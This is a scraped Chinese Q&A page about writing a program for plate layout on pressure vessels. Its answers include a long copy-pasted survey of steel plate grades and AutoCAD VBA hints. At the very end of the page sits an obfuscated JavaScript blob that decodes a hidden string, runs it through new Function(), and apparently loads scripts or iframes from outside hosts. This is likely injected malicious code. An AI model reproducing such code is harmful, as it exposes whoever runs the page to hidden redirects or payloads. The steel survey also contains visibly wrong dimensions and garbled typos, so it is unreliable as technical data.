容器排板程序

2025-02-25 06:47:28
推荐回答(4个)
回答1:

钢板是钢材四大品种(板、管、型、丝)之一,在发达国家,钢板产量占钢材生产总量50%以上,随着我国国民经济的发展,钢板生产量逐渐增长。
钢板是一种宽厚比和表面积都很大的扁平钢材。钢板按厚琊分为薄板和厚板两大规格。
薄钢板是用热轧或冷轧方法生产的厚度在0.2-4mm之间的钢板。薄钢板宽度在500-1400mm之间。根据不同的用途,薄钢板采用不同材质钢坯轧制而成。通常采用材质有普碳钢、优碳钢、合金结构钢、碳素工具钢、不锈钢、弹簧钢和电工用硅钢等。它们主要用于汽车工业、航空工业、搪瓷工业、电气工业、机械工业等部门。薄钢板除轧制后直接交货之外,还有经过酸洗的、镀锌和镀锡等种、类。
厚钢板是厚度在4mm以上的钢板的统称,在实际工作中,常将厚度小于20mm的钢板称为中板,厚度>20mm至60mm的钢板称为厚板,厚度>60mm的钢板则需在专门的特厚板轧机上轧制,故称特厚板。厚钢板的宽度从0.6mm-3.0mm。厚板按用途又分造船钢板、桥梁钢板、锅炉钢板、高压容器钢板、花纹钢板、汽车钢板、装甲钢板和复合钢板等。
钢板的一个分支是钢带,钢带实际上是很长的薄板,宽度比较小,常成卷供应,也称为带钢。
钢带常在多机架连续式轧机上生产,切成定尺长度后就是钢带,因此生产率比单张机制时高。
一、中、厚板
(一)普通中、厚钢板
1、普碳钢沸腾钢板(gb3274-88)
普碳钢沸腾钢板顾名思义是由普通碳素结构钢的沸腾钢热轧制成的钢板。沸腾钢是一种脱氧不完全的钢材,钢液含氧量较高,当钢水注入钢锭模后,碳氧反应产生大量气体,造成钢液呈沸腾状态而得名。沸腾钢含碳量低,且由于不用硅铁脱氧,故钢中含硅量常<0.07%。沸腾钢的外层是在沸腾状态下结晶的,所以表层纯净、致密,表面质量好,加工性能良好。沸腾钢没有大的集中缩孔,用脱氧剂少,钢材成本低。沸腾钢心部杂质多,偏析较严重,力学性能不均匀,钢中气体含量较多,韧性低、冷脆和时效敏感性较大,焊接性能较差,故不适用于制造承受冲击截荷,在低温下工作的焊接结构件和其他重要结构件。
(1)主要用途
沸腾钢板大量用制造各种冲压件、建筑及工程结构和一些不太重要的机器结构和零件。
(2)材质的牌号、化学成分和力学性能
符合gb700-79(88)(普通碳素结构钢技术条件)中沸腾钢的规定。参阅(型钢)等部分。
(3)钢板规格尺寸
热轧厚钢板厚度为4.5-200mm。
(4)生产单位
普碳沸腾钢板由鞍钢、武钢、马钢、太钢、重庆钢厂、邯郸钢铁总厂、新余钢厂、柳州钢厂、安阳钢钢公司、营口中板厂和天津钢厂等生产。
2、普碳钢镇静钢板(gb3274-88)
普碳镇静钢钢板是由普通碳素结构钢镇静钢坯热轧制成的钢板。镇静钢是脱氧完全的钢,钢液在注锭前用锰铁、硅铁和铝等进行充分脱氧,钢液在钢锭模中较平静,不产生沸腾状态,故得名为镇静钢。镇静钢的优点是化学成分均匀,所以各部分的机械性能也均匀,焊接性能和塑性良好、抗腐蚀性较强。但表面质量较差,有集中缩孔,成本也较高。
(1)主要用途
普通镇静钢板主要用于生产在低温下承受冲击的构件、焊接结构及其他要求较高强度的结构件。
(2)材质的牌号、化学成分和力学性能
>符合gb700-79(88)(普通碳素结构钢技术条件)中镇静钢的规定。参阅型钢等部分。
(3)钢板规格尺寸
热轧厚板厚度4.5-200mm。
(4)生产单位
普碳镇静钢板由鞍钢、武钢、舞阳钢铁公司、马钢、太钢、重庆钢厂、邯郸钢铁总厂、新余钢厂、柳州钢厂、安阳钢铁公司、天津钢厂、营口中板厂、上钢一、三厂、韶关钢铁厂和济南钢铁厂等生产。
3、低合金结构钢钢板(gb3274-88)
低合金结构钢板是由低合金结构钢热轧制成。低合金钢板都是镇静钢和半镇静钢钢板。其优点是强度较高、性能较越、能节省大量钢材、减轻结构重量等。
(1)主要用途
低合金结构钢板越来越广泛用于机械制造和金属结构件等。
(2)材质的牌号、化学成分
参见型钢类有关部分。
(3)钢板规格尺寸
热轧钢板厚度为4.5-200mm。
(4)生产单位
鞍钢、武钢、舞阳钢铁公司、马钢、重庆钢厂、新余钢厂、柳州钢厂、昆明钢铁公司、天津钢厂、韶关特钢厂、安阳钢铁公司、上钢一、三厂和太钢等。
4、一般结构用热连轧钢板(gb2517-81)
(1)主要用途
主要用于建筑、桥梁、车辆等一般结构。
(2)材质的牌号与化学成分
(3)力学性能
(4)规格尺寸
钢板(带)厚度从1.2-13.0mm;宽度从700-1550mm;长度从2000-12000mm。
5、焊接结构用耐候钢板(gb4172-84)
耐候钢即耐大气腐蚀钢。焊接结构用耐候钢是在钢中加入少量的合金元素,如钢、铬、镍、钼、铌、钛、锆和钒等,使其在金属基体表面形成保护层,以提高钢材的耐候性,以及良好的焊接性能。
(1)主要用途
主要用于桥梁、建筑及其他结构。
(2)材质的牌号、化学成分
(3)力学性能
6、高耐候性结构钢钢板(gb4171-84)
耐候钢即耐大气腐蚀济。在钢中加入少量合金元素,如钢、磷、铬、镍、钼铌、钛、锆和钒等,使在金属基体表面形成保护层面提高钢材的耐候性能。
(1)主要用途
主要适用于建筑、车辆、塔架和其他结构件。
(2)材质的牌号与化学成分
(3)力学性能
7、花纹钢板(gb3277-82)
花纹钢板是其表面具有菱形或扁豆形突棱的钢板。其规格以其本身厚度(突棱的厚度不计)表示。
(1)主要用途
花纹板具有防滑作用,常用作地板、厂房扶梯、工作架踏板、船舶甲板和汽车底板等。
(2)材质牌号与化学成分
花纹板的材质用普通碳素结构钢的b1、b2和b3牌号钢轧制而成,其化学成分符合gb700-79(普通碳素结构钢技术条件)的规定。
(3)钢板的规格与理论重量
(4)生产单位
鞍钢和安阳钢铁公司等生产。
8、桥梁用钢板(yb168-70)
桥梁钢板是专用于架造铁路或公路桥梁的钢板。要求有较高的强度、韧性以及承受机车车辆的载荷和冲击,且要有良好的抗疲劳性
>、一定的低温韧性和耐大气腐蚀性。拴焊桥梁用钢还应具有良好的焊接性能和低的缺口敏感性。
(1)主要用途
主要用于铁路桥和公路桥其跨度在46-160mm之间的结构件。
(2)材质的编号与化学成分
(3)力学性能
(4)规格与生产单位
规格:厚度从6-50mm 宽度从1.0-2.4mm 长度从2.0-16mm
我国生产桥梁用钢板有鞍钢、武钢、上钢三厂和重庆钢厂等单位。
9、船体结构用钢板(gb712-88)
船体结构用钢板简称船用板。由于船舶工作环境恶劣,船外壳要受海水的化学腐蚀、电化学腐蚀和海生物、微生物的腐蚀;船体承受较大的风浪冲击和交变负荷;船舶形状使其加工方法复杂等原因、所以对船体结构用钢要求严格。首先良好的韧性是最关键的要求,此外,要求有较高的强度,良好的耐腐蚀性能、焊接性能,加工成型性能以及表面质量。为保质量和保证有足够的韧性,要求化学成分的mn/c在2.5以上,对碳当量也有严格要求,并由船检部门认可的钢厂生产。船体用结构钢分一般厚度和高强度钢两种,一般强度钢按质量分a、b、c和d四个等级;高强度钢又分两个强度级别和三个质量等级;ah32、dh32、eh32、ah36、dh36、eh36。
(1)主要用途
用于制造远洋、沿海和内河航运船舶的船体、甲板等的钢板。
(2)材质的牌号和化学成分
(3)力学性能
(4)规格与生产单位
规格:厚度4.5-50mm 宽度1.0-2.2m 长度4.0-12.0m
我国主要由武钢、马钢、上钢一、三厂、太钢、昆明钢铁公司和天津钢厂等生产。
10、锅炉用钢板(gb713-86)
按用途分,锅炉分工业锅炉和电站锅炉用两大类。工业锅炉通常是工业企业用于供热,属小型锅炉,其所用钢材为普通碳素结构钢和低合金结构钢。电站锅炉属大、中型锅炉,对钢材质量有特殊要求,一般要求具有优良综合性能的合金钢来制造。
(1)主要用途
主要用于制作固定锅炉、船体锅炉及其他锅炉重要附件。
(2)材质的牌号和化学成分
(3)力学性能
(4)钢板的规格尺寸
钢板厚度从6-120mm。
(5)生产单位
锅炉用钢板由鞍钢、武钢、上钢三厂、舞阳钢铁公司、柳州钢厂、重庆钢厂、太钢、昆明钢铁公司等生产。
11、容器用钢板(gb6654-86 gb6655-86)
容器用钢板由于所制造的容器都要承受不同的压力与强度。一般常压为31.4mpa或更高;工作温度常于-20℃-450℃之间,也有低于-20℃。根据容器的工作条件与加工工艺,要求容器用钢板必须具有良好的冷弯和焊接性能;有良好的塑性和韧性;有高温短时强度或长期强度性能。为了使容器能承受更高的压力,减轻结构自身重量,容器用钢板材质除用优质碳素钢材之外,目前大多采用低合金结构钢作材质。容器板分为压力穷人用碳素钢和低合金钢板、多层压力容器用低合金钢板等。
(1)主要用途
压力容器钢板系专用板材,主要用于制造石油、化工、气体分离和贮运等的容器或其他类似设备,如各种塔式容器、热交换器、贮罐和罐车等。
(2)种类、材质的人学成分与力学性能
1)压力容器用碳素钢和低合金钢厚钢板的化学成分与力学性能
规格尺寸与生产单位:钢板厚度为6-100mm。
压力容器用钢板由鞍钢、武钢、重庆钢厂、舞阳钢铁公司、太钢、上钢三厂、天津钢厂和马钢等生产。
2)多层压力容器用低合金钢板的化学成分与力学性能
钢板规格、尺寸及生产单位:厚度为6-8mm(级差1mm);宽度和长度为50mm倍尺的任何尺寸,但宽度最小为600mm,长度最小为1200mm。
主要生产单位是鞍钢、武钢、重庆钢厂、太钢等等。
3)低温压力容器用低合金钢板的化学成分与力学性能
钢板规格、尺寸:低温压力容器低合金钢板厚度从6-50mm。
生产单位主要有鞍钢、武钢、重庆钢厂、舞阳钢铁公司、太钢、上钢三厂、天津钢厂和马钢等。
12、焊接气瓶用钢板(gb6653-86)
焊接气瓶用钢板的材质采用优质碳素结构钢和低合金结构钢。由于焊接气是在承受一定压力下使用,所以对化学成分含量和力学性能控制也较严格。焊接气瓶钢的牌号在其后加上“hp”(焊瓶的汉语拼音缩写)以示区别。
(1)主要用途
焊接气瓶用钢板主要用于生产气压较低的气瓶,如石油气瓶等。
(2)材质的牌号与化学成分
(3)力学性能
(4)钢板规格尺寸
焊接气瓶用钢板厚度从2.5-12mm。
13、复合钢钢板(企业标准)
为了节省不锈耐酸耐热钢用材量,有些容器及结构件采用复合钢钢板制造。复合钢钢板即是普通碳素结构钢、优质碳素结构钢和低合金钢作基体(基层),在其表面可不锈耐酸、耐热钢作表层(复层)的双金属板材。
(1)主要用途
主要用于制造耐酸碱、大气及腐蚀介质等的结构件和容器。
(2)材质的牌号与化学成分
1)基层的材质的牌号,化学成分与力学性能。
2)复层材质的牌号、化学成分与力学性能
复层材质的牌号:0cr19ni9、1cr19ni9、00cr19ni11、0cr17ni12mo2、00cr17ni14mo2、1cr18ni9ti、0cr18ni11ti、0cr18ni11nb(以上为奥氏体型)、1cr13、0cr13、2cr13、3cr13(以上为马氏体型)。其化学成分符合gb4237(不锈钢热轧钢板)的规定(参阅上节)
(3)钢板的规格、尺寸与生产单位
生产单位:我国有重庆钢厂等生产。
14、汽车用钢板(gb3273-89)
汽车用钢板主要用于制造汽车大梁(纵、横梁)、车架等结构件。汽车大梁不但要承受较大的静载苛,而且要承受一定的冲击、振动等,因此要求钢板有一定强度和耐疲劳性能,且要求有较好的冲压性能和冷弯性能、以适合冷冲成型加工要求,我国现大都采用含碳较低的低合金结构钢作材质。
(1)主要用途
主要用于制造汽车大梁及车架等结构件。
(2)材质的牌号与化学成分
(3)力学性能
(4)钢板规格尺寸(mm)
厚度:2.5-12.0mm;宽度:210-1800mm;长度:2000-10000mm。
我国有鞍钢、上钢三厂、重庆钢厂、重庆特殊钢厂和昆明钢铁公司等单位生产。
15、犁壁用热轧三层钢板(gb11252-89)
犁壁用热轧三层钢板,用于制造机引或畜引的样式犁的犁壁。由于犁壁承担切土、碎土和翻土作业,所以要求其具有高耐磨性、光滑的表面和足够的韧性。犁壁用三层钢板由硬外层和软中层复合轧成。硬外层的材质为65号钢或70-85号钢,软中层的材质为q235或b2号钢。
(1)主要用途
犁壁用热轧三层钢板,用于制造机动和畜力牵引样式犁的犁壁。
(2)材质的牌号与化学成分
(3)力学性能
(4)钢板规格尺寸与生产单位
钢板厚度:5、6、8、9和10(mm),宽度1.4m-1.8m,长度≤9m,生产单位:重庆钢厂等专门生产。

容器的直径受空塔速度的制约
高度受介质滞留时间的影响
贮存类的压力容器主要考虑内容积、最佳长径比、运输、安装及其它工艺方面的

答:(1)塔的管口方位应满足塔内件工作原理及结构的要求,设计时应注意设备内件整体结构与管口的相对方位;塔顶气相开口布置在塔顶头盖中部;塔的回流开口,一般布置在塔板上方的管道侧;气相进料开口在塔板上方,与降液管平行;气液混相进料开口在塔板上方,并设分配管;汽提蒸汽开口在汽提塔板下方,并加气体分配管。侧线产品抽出口在降液管下方的公弧范围内,宜设抽出斗,对于中间降液管的双溢流塔板,其抽出口可布置在该处任意角度,设抽出斗;塔底抽出口设在塔底头盖的中部,并设防涡流板,抽出口应延伸到塔的裙座外;
(2)对于有塔板的塔,人孔宜布置在与塔板溢流堰平行的塔直径上,条件不允许时可以不平行,但人孔与溢流堰在水平方向的净距应不大于50mm;
(3)人孔吊装的方位,与梯子的设置应统一布置,在事故时,人盖顺利关闭的方向与人疏散的方向应一致;
(4)液位计接口可通过根部阀与液位计直接连接,也可通过根部阀与液位计连通管相接。不得把液位计接口布置在进料口的对面60°角的范围内,除非进料口有内挡板保护。与塔直连的外浮筒式液位控制接管应加挡板。液位计、液位控制浮筒、报警等装置常位于塔平台内或局部平台端部,以便于维修;
(5)压力计接口应布置在塔的气相区内,使压力计读数不受液位压头的影响;
(6)取样口和测温口的布置,气相取样口和测温口应避开塔板降液槽的气相区,液相取样口和测温口应设在降液管区域的塔板持液层内;对于易结晶的液相取样管应被向塔板;
(7)塔顶部吊柱的定位应使旋转时可达到平台外起吊点上方,以及平台所有人孔的位置。

1)仪表接管的方位,包括温度、压力、液位;
(2)人孔、手孔和吊柱的方位,裙座排气孔的方位;
(3)设备地脚螺栓孔的方位或支耳的方位;
(4)吊耳、接地板和铭牌的方位;
(5)内部爬梯、裙座底部加强支撑的方位。

1)在设备壳体上的液体入口和出口间距应尽量远。液体入口管应尽量远离容器液
位计接口;
(2)液位计接口应布置在操作人便于观察和方便维惨的位置。有时为减少设备上的接管口,可将就地液位计、液位控制器、液位报警等测量装置安装在联箱上。波位计管口的方位,应与液位调节阀组布置在同一侧;
(3)铰链(或吊柱)连接的人孔盖,在打开时应不影响其他管口或管道等;
(4)安全阀接管口应设在容器顶部。

回答2:

方法:
关于排板:直接用程序排有点困难,但你可以通过参考一些已有的模型来减低难度:
你可以选正常的手工排板的情况下的几种较为固定的模式作为模板,这样你可以只处理一些细节的问题,要考虑的问题要少一些,程序代码会简化很多.
考虑接口方位:在筒节已确定的情况下先确定某一焊缝距管口的距离,一步步调整焊缝方位来确定该距离。
至于壁厚改变,自然应分成两个不冲突的两部分,根本不存在问题。
变径可能牵涉到一些不同规格的调整,可以根据经验指定几条原则:比如由大到小,有整到零等方案

与AUTOCAD的接口问题:
引用 AutoCAD xx Type Library
建立一变量:
Dim a As New AutoCAD.AcadApplication,b
Set b = a.Documents.Open("e:\1.dwg")
这样b就是一个AutoCAD的Document对象了,其余的你可参考AUTOCAD内置的开发人员帮助,进行进一步的开发.
既然你有其它应用程序二次开发的一些经验,相信这点对你来说是没问题的

回答3:

一楼复制粘贴就算了 还不对题目
我觉得这方面的问题 最好是不要在这里提问 一般得不到解答了
建议去网站搜 可能还能解决问题 ~

回答4:

哇,一楼人才啊,复制粘贴

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();